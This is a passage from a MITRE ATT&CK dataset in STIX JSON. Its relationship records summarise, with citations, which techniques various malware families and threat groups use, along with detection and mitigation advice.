2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.075Z","description":"Some [MiniDuke](https://attack.mitre.org/software/S0051) components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.(Citation: F-Secure The Dukes)(Citation: Securelist MiniDuke Feb 2013)(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f995d29-e7a6-4bf5-bbee-8783c31328f3","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor executed commands and arguments that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"},{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2020-03-16T17:11:22.863Z","description":"[Matryoshka](https://attack.mitre.org/software/S0167) is capable of keylogging.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)","relationship_type":"uses","source_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fa0c726-0f55-4f10-8a31-184d760239c5","type":"relationship","created":"2019-09-24T14:19:05.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.886Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) supports functionality for VNC sessions.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fa88d4c-9597-47bf-bbee-44e34761ae7e","created":"2024-07-25T20:28:36.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:28:59.546Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) is uniquely associated with the use of [MgBot](https://attack.mitre.org/software/S1146) since at least 2012.(Citation: ESET EvasivePanda 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fa97951-8eba-4771-bc42-8084967f0c65","created":"2020-05-15T18:52:17.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.646Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used WMI and LDAP queries for network discovery and to move laterally. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used batch scripts to leverage WMIC to deploy ransomware.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fadec32-a069-4103-bac1-1f61cf2e90e0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:34.999Z","description":"[Mosquito](https://attack.mitre.org/software/S0256)'s launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1fb13108-14d6-498a-b474-c7fb71a3a586","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access internal and external websites and services). Consider correlating with application monitoring for indication of unplanned service interruptions or unauthorized content changes.","modified":"2022-06-01T19:21:35.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fb2a0f2-5d60-4b72-9d18-5d5d06d0c2fe","type":"relationship","created":"2021-07-30T21:03:09.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Clop April 2021","url":"https://unit42.paloaltonetworks.com/clop-ransomware/","description":"Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021."}],"modified":"2021-10-14T20:22:47.026Z","description":"[Clop](https://attack.mitre.org/software/S0611) has used the sleep command to avoid sandbox detection.(Citation: Unit42 Clop April 2021)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fbc7b2a-1cdb-455b-bd5a-b0ff29efe800","type":"relationship","created":"2020-10-21T14:15:47.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant - Synful Knock","url":"https://www.mandiant.com/resources/synful-knock-acis","description":"Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}],"modified":"2021-12-14T23:14:26.188Z","description":"[SYNful Knock](https://attack.mitre.org/software/S0519) is malware that is inserted into a network device by patching the operating system image.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)","relationship_type":"uses","source_ref":"malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053","target_ref":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fbd56ed-e8fe-4601-b676-62e42370cbcc","type":"relationship","created":"2021-04-14T14:03:30.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Rocket Kitten","url":"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf","description":"Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018."}],"modified":"2021-04-14T14:03:30.714Z","description":"[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used CWoolger and MPK, custom-developed malware, which recorded all keystrokes on an infected system.(Citation: Check Point Rocket Kitten)","relationship_type":"uses","source_ref":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fbd687c-3e02-43b8-a160-4319a7d754ac","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2019-09-16T18:01:16.154Z","description":"[Orz](https://attack.mitre.org/software/S0229) can gather a process list from the victim.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T02:07:10.818Z","description":"[PinchDuke](https://attack.mitre.org/software/S0048) searches for files created within a certain timeframe and whose file extension matches a predefined list.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--ae9d818d-95d0-41da-b045-9cabea1ca164","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fbee829-fe84-4a48-a943-5be81abfb43c","created":"2024-05-20T20:22:04.606Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:22:04.606Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) created new Windows services for persistence that masqueraded as legitimate Windows services via name change.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197","created":"2017-05-31T21:33:27.043Z","x_mitre_version":"1.0","external_references":[{"source_name":"Alperovitch 2014","url":"https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Deep Panda](https://attack.mitre.org/groups/G0009) uses the Microsoft [Tasklist](https://attack.mitre.org/software/S0057) utility to list processes running on systems.(Citation: Alperovitch 2014)","modified":"2022-07-20T20:10:29.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fc9bf47-32e7-45e5-87f3-3e7a5efdd35d","created":"2023-09-18T20:31:48.952Z","revoked":false,"external_references":[{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T20:31:48.952Z","description":"\n[TA2541](https://attack.mitre.org/groups/G1018) has used malicious scripts and macros with the ability to download additional payloads.(Citation: Cisco Operation Layover September 2021)\n","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fda6ff7-a344-4bc3-b545-4083cc15290d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.315Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get information about the victim's name, build, version, serial number, and memory usage.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fdcaa51-4445-43be-99eb-52787756fa1c","created":"2022-09-08T13:56:08.860Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:56:08.860Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors enticed users to click on links in spearphishing emails to download malware.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fdd4a0b-fe6d-4fb1-a6ab-7f5063b6ecc3","created":"2020-06-19T19:08:40.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Valak July 2020","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.","url":"https://unit42.paloaltonetworks.com/valak-evolution/"},{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"},{"source_name":"Cybereason Valak May 2020","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.726Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability save and execute files as alternate data streams (ADS).(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fdd8726-606a-482d-b371-044eea79be29","type":"relationship","created":"2019-11-27T13:52:46.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/jj852168.aspx","description":"Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.","source_name":"TechNet Server Operator Scheduled Task"}],"modified":"2022-03-11T14:36:25.049Z","description":"Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task) ","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fdf1686-f498-460a-8948-a5ca46f52b62","created":"2023-02-14T18:45:37.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:32:43.703Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can create a suspended notepad process and write shellcode to delete a file into the suspended process using `NtWriteVirtualMemory`.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fe15306-2903-4eaf-bf77-dbf80bd23809","created":"2024-09-04T17:20:57.324Z","revoked":false,"external_references":[{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:20:57.324Z","description":"[Covenant](https://attack.mitre.org/software/S1155) can create PowerShell-based launchers for Grunt installation.(Citation: Github Covenant)","relationship_type":"uses","source_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fe26342-5bd2-4f5b-91a8-e9b6c53f7c23","created":"2022-08-16T19:50:18.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC GCHQ Small Sieve Jan 2022","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T15:44:47.356Z","description":"[Small Sieve](https://attack.mitre.org/software/S1035) can use `cmd.exe` to execute commands on a victim's system.(Citation: NCSC GCHQ Small Sieve Jan 2022)","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fe3ccfb-2ed1-412f-af7e-c63821a5e434","created":"2024-09-23T23:07:27.723Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:07:27.723Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has collected data about network drives.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fe61df4-3a67-4c46-87f5-771a42323e53","created":"2023-03-31T20:32:06.051Z","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T20:32:06.051Z","description":"[Royal](https://attack.mitre.org/software/S1073) can use `RmShutDown` to kill applications and services using the resources that are targeted for encryption.(Citation: Cybereason Royal December 